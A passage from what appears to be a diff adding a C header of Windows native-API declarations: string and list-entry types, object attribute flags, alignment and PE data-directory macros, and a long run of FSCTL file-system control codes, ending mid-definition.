offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) +// 31.05.2011 - end + +// +// Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. +// + +typedef char CCHAR; +typedef short CSHORT; +typedef CCHAR *PCCHAR; +typedef CSHORT *PCSHORT; +typedef ULONG CLONG; +typedef ULONG *PCLONG; + +typedef ULONG LOGICAL; +typedef ULONG *PLOGICAL; + +typedef LONG KPRIORITY; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING32 +{ + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32 *PUNICODE_STRING32; +#define UNICODE_NULL ((WCHAR)0) + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32 *PANSI_STRING32; + +typedef struct _STRING64 +{ + USHORT Length; + USHORT MaximumLength; + ULONG_PTR Buffer; +} STRING64; + +typedef STRING64 *PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64 *PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64 *PANSI_STRING64; + +typedef USHORT RTL_ATOM; +typedef RTL_ATOM *PRTL_ATOM; + +typedef UCHAR KIRQL; +typedef KIRQL *PKIRQL; + +typedef CONST char *PCSZ; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#if !defined( _WINNT_ ) + +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; + +#define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) + +#define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ + (PCHAR)(address) - \ + (PCHAR)(&((type *)0)->field))) +#endif + +typedef struct _TRIPLE_LIST_ENTRY +{ + struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; + struct _TRIPLE_LIST_ENTRY* Blink; +} TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; + +#define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) + +#ifndef RVATOVA +#define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) +#endif + +#ifndef NOP_FUNCTION +#define NOP_FUNCTION (void)0 +#endif +#define PAGED_CODE() NOP_FUNCTION; + +#if defined(USE_LPC6432) +#define LPC_CLIENT_ID CLIENT_ID64 +#define LPC_SIZE_T ULONGLONG +#define LPC_PVOID ULONGLONG +#define LPC_HANDLE ULONGLONG +#else +#define LPC_CLIENT_ID CLIENT_ID +#define LPC_SIZE_T SIZE_T +#define LPC_PVOID PVOID +#define LPC_HANDLE HANDLE +#endif + +#define OBJ_INHERIT 0x00000002L +#define OBJ_HANDLE_TAGBITS 0x00000003L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +//added 20.12.11 +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED) +#define ___PROCESSOR_NUMBER_DEFINED +typedef struct _PROCESSOR_NUMBER { + WORD Group; + BYTE Number; + BYTE Reserved; +} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; +#endif + +#if _WIN32_WINNT >= 0x0501 + +#define ANSI_NULL ((CHAR)0) +#define UNICODE_NULL ((WCHAR)0) + +#ifndef UNICODE_STRING_MAX_BYTES +#define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) +#endif + +#define UNICODE_STRING_MAX_CHARS (32767) + +#define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ + const WCHAR _variablename ## _buffer[] = _string; \ + const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; + +#endif // _WIN32_WINNT >= 0x0501 + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define InitializeListHead(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = (ListHead)) + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define RemoveHeadList(ListHead) \ + (ListHead)->Flink;\ + {RemoveEntryList((ListHead)->Flink)} + +#define RemoveTailList(ListHead) \ + (ListHead)->Blink;\ + {RemoveEntryList((ListHead)->Blink)} + +// VOID +// RemoveEntryList( +// IN PLIST_ENTRY Entry +// ); +#define RemoveEntryList(Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_Flink;\ + _EX_Flink = (Entry)->Flink;\ + _EX_Blink = (Entry)->Blink;\ + _EX_Blink->Flink = _EX_Flink;\ + _EX_Flink->Blink = _EX_Blink;\ + } + + +// VOID +// InsertTailList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertTailList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Blink = _EX_ListHead->Blink;\ + (Entry)->Flink = _EX_ListHead;\ + (Entry)->Blink = _EX_Blink;\ + _EX_Blink->Flink = (Entry);\ + _EX_ListHead->Blink = (Entry);\ + } + +// VOID +// InsertHeadList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertHeadList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Flink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Flink = _EX_ListHead->Flink;\ + (Entry)->Flink = _EX_Flink;\ + (Entry)->Blink = _EX_ListHead;\ + _EX_Flink->Blink = (Entry);\ + _EX_ListHead->Flink = (Entry);\ + } + +// BOOL +// COUNT_IS_ALIGNED( +// IN DWORD Count, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define COUNT_IS_ALIGNED(Count,Pow2) \ + ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + +// BOOL +// POINTER_IS_ALIGNED( +// IN LPVOID Ptr, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define POINTER_IS_ALIGNED(Ptr,Pow2) \ + ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + + +#define ROUND_DOWN_COUNT(Count,Pow2) \ + ( (Count) & (~((Pow2)-1)) ) + +#define ROUND_DOWN_POINTER(Ptr,Pow2) \ + ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) + + +// If Count is not already aligned, then +// round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. +// +// DWORD +// ROUND_UP_COUNT( +// IN DWORD Count, +// IN DWORD Pow2 +// ); +#define ROUND_UP_COUNT(Count,Pow2) \ + ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) + +// LPVOID +// ROUND_UP_POINTER( +// IN LPVOID Ptr, +// IN DWORD Pow2 +// ); + +// If Ptr is not already aligned, then round it up until it is. +#define ROUND_UP_POINTER(Ptr,Pow2) \ + ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) + +#define ALIGN_BYTE 1 +#define ALIGN_CHAR 1 +#define ALIGN_DESC_CHAR sizeof(DESC_CHAR) +#define ALIGN_DWORD 4 +#define ALIGN_LONG 4 +#define ALIGN_LPBYTE 4 +#define ALIGN_LPDWORD 4 +#define ALIGN_LPSTR 4 +#define ALIGN_LPTSTR 4 +#define ALIGN_LPVOID 4 +#define ALIGN_LPWORD 4 +#define ALIGN_TCHAR sizeof(TCHAR) +#define ALIGN_WCHAR sizeof(WCHAR) +#define ALIGN_WORD 2 +#define ALIGN_QUAD 8 + +#define ALIGN_WORST 8 + +//03.06.2011 - added +#define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) +//03.06.2011 - end + +// Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); + +// 31.05.2011 - added +#define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) +#define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) +#define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) +#define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) + +#define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) +#define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) +#define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) +#define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) +#define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) +#define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) +// 31.05.2011 - end + +#define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) +#define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) +// 09.06.2011 - begin + +//21.12.2011 added +#if !defined(_FILESYSTEMFSCTL_) +#define _FILESYSTEMFSCTL_ + +#define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 9 +#define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, +#define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 13 +#define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissioned fsctl value 17 +// decommissioned fsctl value 18 +#define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_INVALIDATE_VOLUMES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER +#define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS + +#if (_WIN32_WINNT >= 0x0400) +#define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER +#define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER +#define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER +#define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER +#define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, +#define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decomissioned fsctl value 31 +#define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) +// decommissioned fsctl value 33 +// decommissioned fsctl value 34 +#define FSCTL_FIND_FILES_BY_SID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 36 +// decommissioned fsctl value 37 +#define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER +#define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, +#define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, +#define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN +#define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, +#define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER +#define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) +// decommissioned fsctl value 52 +#define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER +#define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, +#define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file +#define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record +#define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissional fsctl value 66 +// decommissioned fsctl value 67 +// decommissioned fsctl value 68 +#define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 70 +#define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) +#define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W +#define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS +#define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE +// decommissioned fsctl value 80 +#define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 83 +#define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 93 +#define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +// decommissioned fsctl value 96 +// decommissioned fsctl value 97 +// decommissioned fsctl value 98 +#define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 105 +#define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation +#define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION +#define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// +// Values 111 - 119 are reserved for FSRM. +// + +#define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ + CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_LIST_TRANSACTIONS 